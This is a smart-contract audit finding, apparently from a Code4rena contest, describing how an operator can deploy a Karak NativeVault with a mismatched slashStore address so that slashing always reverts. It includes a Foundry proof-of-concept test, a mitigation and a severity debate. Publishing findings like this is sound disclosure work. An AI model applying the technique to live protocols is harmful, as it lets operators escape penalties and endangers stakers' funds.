The operator can create a NativeVault that can be silently unslashable
An operator could deploy a NativeVault with a slashStore address that differs from the protocol's asset slashing handler for ETH, causing every slashAssets call to revert. This made the vault unslashable, allowing the operator to act maliciously without risk of losing funds.
Fulum Follow with lanrebayode77, 20centclub and 3 others
Originally disclosed on Code4rena
Submitted by Fulum, also found by lanrebayode77, Takarez (1, 2), ayden (1, 2), trachev (1, 2), 20centclub, sl1, givn, and 0xCiphky
An operator can create a NativeVault which always reverts when slashAssets() is called and make the vault unslashable.
Proof of Concept
When an operator want to create a NativeVault, he call the deployVaults() function on the Core contract with a custom config struct to give informations for the deployment. The extraData params is used to give the manager, slahsStore and nodeImplementation addresses on the initialize() function of the NativeVault.
When an asset is allowed on the protocol, a slashingHandler address is associated with the asset address on the assetSlashingHandlers mapping.
NativeVault is used to make native restaking with the ETH of Beacon Chain validators of users. When a slashing is executed, the address of assetSlashingHandlers mapping is inserted as a params in the call slashAssets() :
for (uint256 i = 0; i < queuedSlashing.vaults.length; i++) {
IKarakBaseVault(queuedSlashing.vaults[i]).slashAssets(
queuedSlashing.earmarkedStakes[i],
self.assetSlashingHandlers[IKarakBaseVault(queuedSlashing.vaults[i]).asset()]
);
}
Then the function make this verification with the input address of slashingHandler:
if (slashingHandler != self.slashStore) revert NotSlashStore();
If the operator, during the initialization, insert a slashStore address which is different from the assetSlashingHandlers address for ETH, the call on the NativeVault will always revert and make the vault slash impossible.
Proof of Concept
You can add this PoC to the ./test/nativeRestaking/nativeVault.t.sol:
function test_createUnslashableVault() public {
//Setup
vm.warp(1718549030);
NativeVault unslashableVault;
address badSlashStore = address(666);
DSSContract dss = new DSSContract();
vm.startPrank(address(dss));
core.registerDSS(100000000000000000000);
vm.stopPrank();
// Setup NativeNode implementation
address nativeNodeImpl = address(new NativeNode());
// Deploy Vaults
VaultLib.Config[] memory vaultConfigs = new VaultLib.Config[](1);
vaultConfigs[0] = VaultLib.Config({
asset: Constants.DEAD_BEEF,
decimals: 18,
operator: operator,
name: "NativeTestVault",
symbol: "NTV",
extraData: abi.encode(address(manager), badSlashStore, address(nativeNodeImpl))
});
vm.startPrank(operator);
IDSS dssInterface = IDSS(address(dss));
core.registerOperatorToDSS(dssInterface, bytes(""));
IKarakBaseVault[] memory vaults = core.deployVaults(vaultConfigs, address(0));
unslashableVault = NativeVault(address(vaults[0]));
//Register vault staked for dss
Operator.StakeUpdateRequest memory stakeRequest = Operator.StakeUpdateRequest({
vault: address(unslashableVault),
dss: dssInterface,
toStake: true
});
Operator.QueuedStakeUpdate memory queuedStake = core.requestUpdateVaultStakeInDSS(stakeRequest);
vm.warp(1718549030 + 10 days);
core.finalizeUpdateVaultStakeInDSS(queuedStake);
vm.stopPrank();
vm.startPrank(address(dss));
//Slash request
uint96[] memory slashPercentagesWad = new uint96[](1);
slashPercentagesWad[0] = 10000000000000000000;
address[] memory operatorVaults = new address[](1);
operatorVaults[0] = address(unslashableVault);
SlasherLib.SlashRequest memory slashingReq = SlasherLib.SlashRequest({
operator: operator,
slashPercentagesWad: slashPercentagesWad,
vaults: operatorVaults
});
//Request and execute the slashing but revert
SlasherLib.QueuedSlashing memory queuedSlashing = core.requestSlashing(slashingReq);
vm.warp(1718549030 + 14 days);
core.finalizeSlashing(queuedSlashing);
vm.stopPrank();
}
Add also this contract for the dss on the same file :
contract DSSContract {
uint256 variable;
constructor() {
variable = 1;
}
function returnVariable() external view returns(uint256 _variable) {
_variable = variable;
}
}
And execute the command: forge test --mt test_createUnslashableVault -vvvvv.
Recommended Mitigation Steps
You can add a verified slashingHandler for ETH on the Core contract and verify the operator use the correct slashStore params on the initialize() function in the NativeVault, or on the deployVaults() for NativeVault.
dewpe (Karak) disputed and commented:
We think it should be re-classified to
medbecause it’s ultimately the DSS’ responsibility to figure out which operators and vaults to take in via theregistrationHook.selector.
The crux of this issue and its duplicates is that for native vaults,
vaultConfig.extraDatahas no input validation in when callingdeployVaults(). This means the operator can setmanager,slashStoreandnodeImplementationto anything.This issue has demonstrated how an operator can create an unslashable vault by creating it with
slashStoreas a different address than the whitelisted slashing handler for ETH. Slashing is core functionality of the protocol and being unable to do so would threaten the integrity of operators (eg. operator can act malicious, causing loss of funds, at no risk).https://github.com/code-423n4/2024-07-karak-findings/issues/85 describes how the setting the manager will allow the operator to call restricted functions.
As such, I believe high severity is appropriate.
We think it should be re-classified to med because it’s ultimately the DSS’ responsibility to figure out which operators and vaults to take in via the
registrationHook.selector.Given that the DSS implementation isn’t in-scope and wardens did not know what
registrationHookcould/couldn’t do during the audit, I don’t think it is fair to downgrade the issue based on this.
This mitigation removes the SlashStore altogether and the NativeVault itself burns the slashed ETH.
Status: Unmitigated. Full details in reports from sl1 and 0xCiphky, and also included in the Mitigation Review section below.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the deployVaults function does not validate the extraData parameters, allowing the operator to set an arbitrary slashStore address that does not match the protocol's slashing handler for ETH.
Impact
The operator could avoid slashing penalties, threatening the integrity of the protocol and allowing malicious actions without risk of losing funds.
What the attacker needed
Operator role; ability to deploy a NativeVault
The fix
The protocol should validate that the slashStore address provided during vault deployment matches the protocol's slashing handler for ETH, or remove the slashStore parameter entirely.
How it was found
- Register a DSS and deploy a NativeNode implementation.
- Create a vault configuration with extraData containing a slashStore address different from the protocol's ETH slashing handler.
- Call deployVaults to create the NativeVault.
- Register the vault for staking with the DSS and finalize the stake update.
- Request and finalize a slashing; the call reverts, making the vault unslashable.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A vault is a smart contract that holds users' cryptocurrency. Slashing is a penalty where some of that cryptocurrency is taken away if the operator misbehaves. The operator could set up the vault so that any attempt to apply this penalty would fail, meaning they could misbehave without losing money.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.